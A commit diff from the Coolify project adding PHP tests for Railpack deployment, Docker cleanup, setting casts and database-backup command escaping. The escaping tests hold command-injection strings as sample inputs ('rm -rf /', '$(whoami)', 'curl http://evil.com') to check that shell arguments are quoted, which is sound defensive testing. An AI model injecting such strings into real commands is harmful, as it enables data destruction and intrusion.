Merge remote-tracking branch 'origin/next' into jean/port-exposes-improvement

This commit is contained in:
Andras Bacsai
2026-06-03 10:32:57 +02:00
766 changed files with 43286 additions and 12686 deletions
@@ -437,6 +437,25 @@ it('deletes all build images when retention is disabled', function () {
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
});
it('container prune excludes persistent resource types', function () {
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
expect($sourceFile)->toContain('label!=coolify.type=database');
expect($sourceFile)->toContain('label!=coolify.type=application');
expect($sourceFile)->toContain('label!=coolify.type=service');
expect($sourceFile)->toContain('label!=coolify.proxy=true');
expect($sourceFile)->toContain('label=coolify.managed=true');
});
it('uses persisted buildx metadata when pruning the railpack builder', function () {
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
expect($sourceFile)
->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')
->toContain('docker buildx prune --builder coolify-railpack -af')
->not->toContain('--buildkitd-flags');
});
it('preserves build image for currently running tag', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
@@ -0,0 +1,11 @@
<?php
it('persists buildx metadata between the helper container and host cleanup', function () {
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
expect($sourceFile)
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
});
@@ -0,0 +1,249 @@
<?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use Illuminate\Support\Collection;
use Tests\TestCase;
uses(TestCase::class);
class TestableRailpackDeploymentJob extends ApplicationDeploymentJob
{
public array $recordedCommands = [];
public function __construct() {}
public function execute_remote_command(...$commands)
{
$this->recordedCommands[] = $commands;
}
}
function makeRailpackDeploymentJob(array $applicationAttributes = [], array $savedOutputs = []): array
{
$job = new TestableRailpackDeploymentJob;
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$application = new Application($applicationAttributes);
foreach ([
'application' => $application,
'workdir' => '/artifacts/test-app',
'deployment_uuid' => 'deployment-uuid',
'saved_outputs' => new Collection($savedOutputs),
'env_railpack_args' => "--env 'RAILPACK_NODE_VERSION=22'",
'force_rebuild' => false,
'addHosts' => '',
'secrets_hash_key' => 'testing-app-key',
] as $property => $value) {
$reflectionProperty = $reflection->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($job, $value);
}
return [$job, $reflection];
}
function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $method, array $arguments = []): mixed
{
$reflectionMethod = $reflection->getMethod($method);
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invokeArgs($job, $arguments);
}
it('deep merges repository railpack config with coolify overrides', function () {
$repositoryConfigJson = json_encode([
'$schema' => 'https://schema.railpack.com',
'packages' => [
'node' => '20',
],
'steps' => [
'build' => [
'inputs' => [['step' => 'install']],
'commands' => ['npm run build'],
],
],
'deploy' => [
'variables' => [
'NODE_ENV' => 'production',
],
'startCommand' => 'node index.js',
],
], JSON_THROW_ON_ERROR);
[$job, $reflection] = makeRailpackDeploymentJob(
[
'install_command' => 'npm ci',
'build_command' => 'npm run build:prod',
'start_command' => 'node server.js',
],
[
'railpack_config_exists' => 'exists',
'railpack_repository_config' => $repositoryConfigJson,
],
);
$repositoryConfig = invokeRailpackMethod(
$job,
$reflection,
'decode_railpack_config',
[$repositoryConfigJson, 'repository railpack.json'],
);
$overrides = [
'deploy' => [
'variables' => [
'APP_ENV' => 'production',
],
],
'packages' => [
'python' => '3.13',
],
];
$generatedConfig = invokeRailpackMethod($job, $reflection, 'merge_railpack_config', [$repositoryConfig, $overrides]);
expect($generatedConfig)->toMatchArray([
'$schema' => 'https://schema.railpack.com',
'packages' => [
'node' => '20',
'python' => '3.13',
],
'steps' => [
'build' => [
'inputs' => [['step' => 'install']],
'commands' => ['npm run build'],
],
],
'deploy' => [
'variables' => [
'NODE_ENV' => 'production',
'APP_ENV' => 'production',
],
'startCommand' => 'node index.js',
],
]);
});
it('writes a generated railpack config file when repository config exists', function () {
[$job, $reflection] = makeRailpackDeploymentJob(
['build_command' => 'npm run build'],
[
'railpack_config_exists' => 'exists',
'railpack_repository_config' => json_encode([
'$schema' => 'https://schema.railpack.com',
'steps' => [
'build' => [
'commands' => ['npm run build'],
],
],
], JSON_THROW_ON_ERROR),
],
);
$configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file');
expect($configPath)->toBe('.coolify/railpack.generated.json');
expect($job->recordedCommands)->toHaveCount(3);
});
it('does not generate a railpack config file for command overrides alone', function () {
[$job, $reflection] = makeRailpackDeploymentJob([
'install_command' => 'npm ci',
'build_command' => 'npm run build',
'start_command' => 'node server.js',
]);
$configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file');
expect($configPath)->toBeNull();
expect($job->recordedCommands)->toHaveCount(1);
});
it('fails fast when repository railpack config is invalid json', function () {
[$job, $reflection] = makeRailpackDeploymentJob(
['build_command' => 'npm run build'],
[
'railpack_config_exists' => 'exists',
'railpack_repository_config' => '{"steps":{"build":',
],
);
expect(fn () => invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file'))
->toThrow(DeploymentException::class, 'Invalid repository railpack.json');
});
it('builds railpack prepare command using railpack env for install and cli flags for build/start overrides', function () {
[$job, $reflection] = makeRailpackDeploymentJob(
[
'install_command' => 'npm ci',
'build_command' => 'npm run build',
'start_command' => 'node server.js',
],
);
$envRailpackArgsProperty = $reflection->getProperty('env_railpack_args');
$envRailpackArgsProperty->setAccessible(true);
$envRailpackArgsProperty->setValue($job, "--env 'RAILPACK_NODE_VERSION=22' --env 'RAILPACK_INSTALL_CMD=npm ci'");
$command = invokeRailpackMethod(
$job,
$reflection,
'railpack_prepare_command',
['.coolify/railpack.generated.json'],
);
expect($command)->toContain('railpack prepare');
expect($command)->toContain("--env 'RAILPACK_NODE_VERSION=22'");
expect($command)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci'");
expect($command)->toContain('--build-cmd '.escapeshellarg('npm run build'));
expect($command)->toContain('--start-cmd '.escapeshellarg('node server.js'));
expect($command)->toContain('--config-file '.escapeshellarg('.coolify/railpack.generated.json'));
expect($command)->toContain('--plan-out /artifacts/railpack-plan.json /artifacts/test-app');
expect($command)->not->toContain("--env 'RAILPACK_BUILD_CMD=");
expect($command)->not->toContain("--env 'RAILPACK_START_CMD=");
expect($command)->not->toContain('RAILPACK_BUILD_CMD=');
expect($command)->not->toContain('RAILPACK_START_CMD=');
});
it('fails fast when docker buildx is unavailable for railpack builds', function () {
[$job, $reflection] = makeRailpackDeploymentJob();
$dockerBuildxAvailableProperty = $reflection->getProperty('dockerBuildxAvailable');
$dockerBuildxAvailableProperty->setAccessible(true);
$dockerBuildxAvailableProperty->setValue($job, false);
expect(fn () => invokeRailpackMethod($job, $reflection, 'ensure_docker_buildx_available_for_railpack'))
->toThrow(DeploymentException::class, 'Railpack deployments require the Docker buildx CLI plugin');
});
it('builds railpack docker command with matching env and secret flags for all railpack variables', function () {
[$job, $reflection] = makeRailpackDeploymentJob([
'uuid' => 'application-uuid',
]);
$command = invokeRailpackMethod(
$job,
$reflection,
'railpack_build_command',
[
'coollabsio/coolify:test',
collect([
'RAILPACK_NODE_VERSION' => '22',
'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
'SECRET_JSON' => '{"token":"abc"}',
]),
],
);
expect($command)->toContain("env 'RAILPACK_NODE_VERSION=22'");
expect($command)->toContain("'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'");
expect($command)->toContain("'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
expect($command)->toContain("'SECRET_JSON={\"token\":\"abc\"}'");
expect($command)->toContain("--secret 'id=RAILPACK_NODE_VERSION,env=RAILPACK_NODE_VERSION'");
expect($command)->toContain("--secret 'id=RAILPACK_INSTALL_CMD,env=RAILPACK_INSTALL_CMD'");
expect($command)->toContain("--secret 'id=RAILPACK_DEPLOY_APT_PACKAGES,env=RAILPACK_DEPLOY_APT_PACKAGES'");
expect($command)->toContain("--secret 'id=SECRET_JSON,env=SECRET_JSON'");
expect($command)->toContain(' --build-arg secrets-hash=');
expect($command)->toContain('--build-arg BUILDKIT_SYNTAX="ghcr.io/railwayapp/railpack-frontend:v'.config('constants.coolify.railpack_version').'"');
});
@@ -0,0 +1,267 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\EnvironmentVariable;
use App\Models\Server;
it('generates escaped railpack env args from resolved values and includes install command', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn('npm ci && npm run postinstall');
$nodeVersion = Mockery::mock(EnvironmentVariable::class)->makePartial();
$nodeVersion->forceFill([
'key' => 'RAILPACK_NODE_VERSION',
'is_literal' => false,
'is_multiline' => false,
]);
$nodeVersion->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('22');
$literalValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$literalValue->forceFill([
'key' => 'RAILPACK_CUSTOM_FLAG',
'is_literal' => true,
'is_multiline' => false,
]);
$literalValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn("'hello world'");
$jsonValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$jsonValue->forceFill([
'key' => 'RAILPACK_JSON',
'is_literal' => false,
'is_multiline' => false,
]);
$jsonValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('{"token":"abc"}');
$nullValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$nullValue->forceFill([
'key' => 'RAILPACK_NULL',
'is_literal' => false,
'is_multiline' => false,
]);
$nullValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn(null);
$envQuery = Mockery::mock();
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$envQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
$railpackQuery = Mockery::mock();
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([$nodeVersion, $literalValue, $jsonValue, $nullValue]));
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
$envArgsProperty = $reflection->getProperty('env_railpack_args');
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
expect($variables->all())->toBe([
'RAILPACK_NODE_VERSION' => '22',
'RAILPACK_CUSTOM_FLAG' => 'hello world',
'RAILPACK_JSON' => '{"token":"abc"}',
'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
]);
expect($envArgs)->toContain("--env 'RAILPACK_NODE_VERSION=22'");
expect($envArgs)->toContain("--env 'RAILPACK_CUSTOM_FLAG=hello world'");
expect($envArgs)->toContain("--env 'RAILPACK_JSON={\"token\":\"abc\"}'");
expect($envArgs)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'");
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
expect($envArgs)->not->toContain('RAILPACK_NULL');
});
it('uses preview railpack environment variables for preview deployments', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
$previewValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$previewValue->forceFill([
'key' => 'RAILPACK_PREVIEW_ONLY',
'is_literal' => false,
'is_multiline' => false,
]);
$previewValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('preview-value');
$previewQuery = Mockery::mock();
$previewQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$previewQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$previewQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('environment_variables_preview')->once()->andReturn($previewQuery);
$railpackPreviewQuery = Mockery::mock();
$railpackPreviewQuery->shouldReceive('get')->once()->andReturn(collect([$previewValue]));
$application->shouldReceive('railpack_environment_variables_preview')->once()->andReturn($railpackPreviewQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 42);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
expect($variables->all())->toBe([
'RAILPACK_PREVIEW_ONLY' => 'preview-value',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
]);
});
it('merges coolify env variables into railpack build variables', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
$userVar = Mockery::mock(EnvironmentVariable::class)->makePartial();
$userVar->forceFill([
'key' => 'MY_BUILD_VAR',
'is_literal' => false,
'is_multiline' => false,
]);
$userVar->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('hello');
$envQuery = Mockery::mock();
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$envQuery->shouldReceive('get')->once()->andReturn(collect([$userVar]));
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
$railpackQuery = Mockery::mock();
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')
->with(true)
->andReturn(collect([
'COOLIFY_URL' => 'https://app.example.com',
'COOLIFY_FQDN' => 'app.example.com',
'COOLIFY_BRANCH' => 'main',
'COOLIFY_RESOURCE_UUID' => 'app-uuid',
'SOURCE_COMMIT' => 'abc123',
'EMPTY_VAR' => '',
'NULL_VAR' => null,
]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
expect($variables->all())->toBe([
'MY_BUILD_VAR' => 'hello',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
'COOLIFY_URL' => 'https://app.example.com',
'COOLIFY_FQDN' => 'app.example.com',
'COOLIFY_BRANCH' => 'main',
'COOLIFY_RESOURCE_UUID' => 'app-uuid',
'SOURCE_COMMIT' => 'abc123',
]);
$envArgsProperty = $reflection->getProperty('env_railpack_args');
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
expect($envArgs)->toContain("--env 'COOLIFY_URL=https://app.example.com'");
expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
expect($envArgs)->not->toContain('EMPTY_VAR');
expect($envArgs)->not->toContain('NULL_VAR');
});
it('preserves user railpack deploy apt packages while adding healthcheck tools once', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
$deployPackages = Mockery::mock(EnvironmentVariable::class)->makePartial();
$deployPackages->forceFill([
'key' => 'RAILPACK_DEPLOY_APT_PACKAGES',
'is_literal' => false,
'is_multiline' => false,
]);
$deployPackages->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('ffmpeg curl');
$envQuery = Mockery::mock();
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$envQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
$railpackQuery = Mockery::mock();
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([$deployPackages]));
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('ffmpeg curl wget');
$envArgsProperty = $reflection->getProperty('env_railpack_args');
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=ffmpeg curl wget'");
});
+20
View File
@@ -99,3 +99,23 @@ it('escapes repository URLs in other deployment type', function () {
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
});
it('preserves ssh scheme URLs with custom ports in deploy_key commands', function () {
$deploymentUuid = 'test-deployment-uuid';
$application = new Application;
$application->git_branch = 'master';
$application->git_repository = 'ssh://git@192.168.56.11:22222/User/Repo.git';
$application->private_key_id = 1;
$privateKey = new PrivateKey;
$privateKey->private_key = 'fake-private-key';
$application->setRelation('private_key', $privateKey);
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
expect($result['commands'])
->toContain("'ssh://git@192.168.56.11:22222/User/Repo.git'")
->toContain('-p 22222')
->not->toContain('ssh:/git@192.168.56.11:22222/User/Repo.git');
});
@@ -11,7 +11,7 @@ use App\Models\ApplicationSetting;
it('casts is_static to boolean when true', function () {
$setting = new ApplicationSetting;
$setting->is_static = true;
$setting->setRawAttributes(['is_static' => true]);
// Verify it's cast to boolean
expect($setting->is_static)->toBeTrue()
@@ -20,7 +20,7 @@ it('casts is_static to boolean when true', function () {
it('casts is_static to boolean when false', function () {
$setting = new ApplicationSetting;
$setting->is_static = false;
$setting->setRawAttributes(['is_static' => false]);
// Verify it's cast to boolean
expect($setting->is_static)->toBeFalse()
@@ -29,7 +29,7 @@ it('casts is_static to boolean when false', function () {
it('casts is_static from string "1" to boolean true', function () {
$setting = new ApplicationSetting;
$setting->is_static = '1';
$setting->setRawAttributes(['is_static' => '1']);
// Should cast string to boolean
expect($setting->is_static)->toBeTrue()
@@ -38,7 +38,7 @@ it('casts is_static from string "1" to boolean true', function () {
it('casts is_static from string "0" to boolean false', function () {
$setting = new ApplicationSetting;
$setting->is_static = '0';
$setting->setRawAttributes(['is_static' => '0']);
// Should cast string to boolean
expect($setting->is_static)->toBeFalse()
@@ -47,7 +47,7 @@ it('casts is_static from string "0" to boolean false', function () {
it('casts is_static from integer 1 to boolean true', function () {
$setting = new ApplicationSetting;
$setting->is_static = 1;
$setting->setRawAttributes(['is_static' => 1]);
// Should cast integer to boolean
expect($setting->is_static)->toBeTrue()
@@ -56,7 +56,7 @@ it('casts is_static from integer 1 to boolean true', function () {
it('casts is_static from integer 0 to boolean false', function () {
$setting = new ApplicationSetting;
$setting->is_static = 0;
$setting->setRawAttributes(['is_static' => 0]);
// Should cast integer to boolean
expect($setting->is_static)->toBeFalse()
@@ -103,3 +103,65 @@ it('casts all boolean fields correctly', function () {
->and($casts[$field])->toBe('boolean');
}
});
it('casts stop_grace_period to integer', function () {
$setting = new ApplicationSetting;
$casts = $setting->getCasts();
expect($casts)->toHaveKey('stop_grace_period')
->and($casts['stop_grace_period'])->toBe('integer');
});
it('handles null stop_grace_period for default behavior', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = null;
expect($setting->stop_grace_period)->toBeNull();
});
it('casts stop_grace_period from string to integer', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = '60';
expect($setting->stop_grace_period)->toBe(60)
->and($setting->stop_grace_period)->toBeInt();
});
it('casts stop_grace_period zero to integer (documents fallback trigger)', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = 0;
expect($setting->stop_grace_period)->toBe(0)
->and($setting->stop_grace_period)->toBeInt();
});
it('casts stop_grace_period negative value to integer (documents fallback trigger)', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = -10;
expect($setting->stop_grace_period)->toBe(-10)
->and($setting->stop_grace_period)->toBeInt();
});
it('resolves valid stop grace periods', function (?int $storedValue, int $expectedValue) {
$setting = new ApplicationSetting;
$setting->stop_grace_period = $storedValue;
expect($setting->stopGracePeriodSeconds())->toBe($expectedValue);
})->with([
'minimum' => [MIN_STOP_GRACE_PERIOD_SECONDS, MIN_STOP_GRACE_PERIOD_SECONDS],
'custom' => [300, 300],
'maximum' => [MAX_STOP_GRACE_PERIOD_SECONDS, MAX_STOP_GRACE_PERIOD_SECONDS],
]);
it('falls back to default stop grace period for invalid stored values', function (?int $storedValue) {
$setting = new ApplicationSetting;
$setting->stop_grace_period = $storedValue;
expect($setting->stopGracePeriodSeconds())->toBe(DEFAULT_STOP_GRACE_PERIOD_SECONDS);
})->with([
'null' => [null],
'zero' => [0],
'negative' => [-10],
'above maximum' => [MAX_STOP_GRACE_PERIOD_SECONDS + 1],
]);
+80
View File
@@ -142,3 +142,83 @@ test('validateDatabasesBackupInput rejects injection in database name within mon
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
// --- Credential escaping tests for database backup commands ---
test('escapeshellarg neutralizes command injection in postgres password', function () {
$maliciousPassword = '"; rm -rf / #';
$escaped = escapeshellarg($maliciousPassword);
// The escaped value must be a single shell token that cannot break out
expect($escaped)->not->toContain("\n");
expect($escaped)->toBe("'\"; rm -rf / #'");
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
expect($command)->toContain("PGPASSWORD='");
expect($command)->not->toContain('PGPASSWORD=""');
});
test('escapeshellarg neutralizes command injection in postgres username', function () {
$maliciousUser = 'admin$(whoami)';
$escaped = escapeshellarg($maliciousUser);
expect($escaped)->toBe("'admin\$(whoami)'");
$command = "docker exec container pg_dump --username $escaped";
// The $() should be inside single quotes, preventing execution
expect($command)->toContain("--username 'admin\$(whoami)'");
});
test('escapeshellarg neutralizes command injection in mysql password', function () {
$maliciousPassword = 'pass" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousPassword);
$command = "docker exec container mysqldump -u root -p$escaped db";
// The password must be wrapped in single quotes
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
});
test('escapeshellarg neutralizes command injection in mariadb password', function () {
$maliciousPassword = "pass'; whoami; echo '";
$escaped = escapeshellarg($maliciousPassword);
// Single quotes in the value get escaped as '\''
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
$command = "docker exec container mariadb-dump -u root -p$escaped db";
// Verify the command doesn't contain an unescaped semicolon outside quotes
expect($command)->toContain("-p'pass'");
});
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
$maliciousUser = 'admin";$(whoami)';
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
$encodedUser = rawurlencode($maliciousUser);
$encodedPass = rawurlencode($maliciousPass);
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
// Special characters should be percent-encoded
expect($encodedUser)->not->toContain('"');
expect($encodedUser)->not->toContain('$');
expect($encodedUser)->not->toContain('(');
expect($encodedPass)->not->toContain('@');
expect($encodedPass)->not->toContain('/');
expect($encodedPass)->not->toContain('?');
expect($encodedPass)->not->toContain('&');
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
$atCount = substr_count($url, '@');
expect($atCount)->toBe(1);
});
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousUrl);
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
// The entire URI must be inside single quotes
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
expect($command)->toContain("evil.com #'");
// No unescaped double quotes that could break the command
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
});
@@ -0,0 +1,87 @@
<?php
use App\Support\ValidationPatterns;
// ── databasePasswordRules ─────────────────────────────────────────────────────
it('databasePasswordRules includes regex rule by default', function () {
$rules = ValidationPatterns::databasePasswordRules();
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
expect($regexRules)->not->toBeEmpty();
});
it('databasePasswordRules includes regex rule when enforcePattern true', function () {
$rules = ValidationPatterns::databasePasswordRules(enforcePattern: true);
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
expect($regexRules)->not->toBeEmpty();
});
it('databasePasswordRules omits regex rule when enforcePattern false', function () {
$rules = ValidationPatterns::databasePasswordRules(enforcePattern: false);
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
expect($regexRules)->toBeEmpty();
});
it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () {
$rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false);
expect($rules)->toContain('required');
expect($rules)->toContain('string');
expect($rules)->toContain('min:1');
expect($rules)->toContain('max:128');
});
it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () {
$rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false);
expect($rules)->toContain('nullable');
expect($rules)->toContain('string');
expect($rules)->toContain('min:2');
expect($rules)->toContain('max:64');
expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
});
// ── databaseIdentifierRules ───────────────────────────────────────────────────
it('databaseIdentifierRules includes regex rule by default', function () {
$rules = ValidationPatterns::databaseIdentifierRules();
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
expect($regexRules)->not->toBeEmpty();
});
it('databaseIdentifierRules includes regex rule when enforcePattern true', function () {
$rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true);
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
expect($regexRules)->not->toBeEmpty();
});
it('databaseIdentifierRules omits regex rule when enforcePattern false', function () {
$rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false);
$regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
expect($regexRules)->toBeEmpty();
});
it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () {
$rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false);
expect($rules)->toContain('required');
expect($rules)->toContain('string');
expect($rules)->toContain('min:1');
expect($rules)->toContain('max:63');
});
it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () {
$rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false);
expect($rules)->toContain('nullable');
expect($rules)->toContain('string');
expect($rules)->toContain('min:1');
expect($rules)->toContain('max:30');
expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
});
@@ -0,0 +1,176 @@
<?php
use App\Support\ValidationPatterns;
use Illuminate\Support\Facades\Validator;
// ── DB_IDENTIFIER_PATTERN ─────────────────────────────────────────────────────
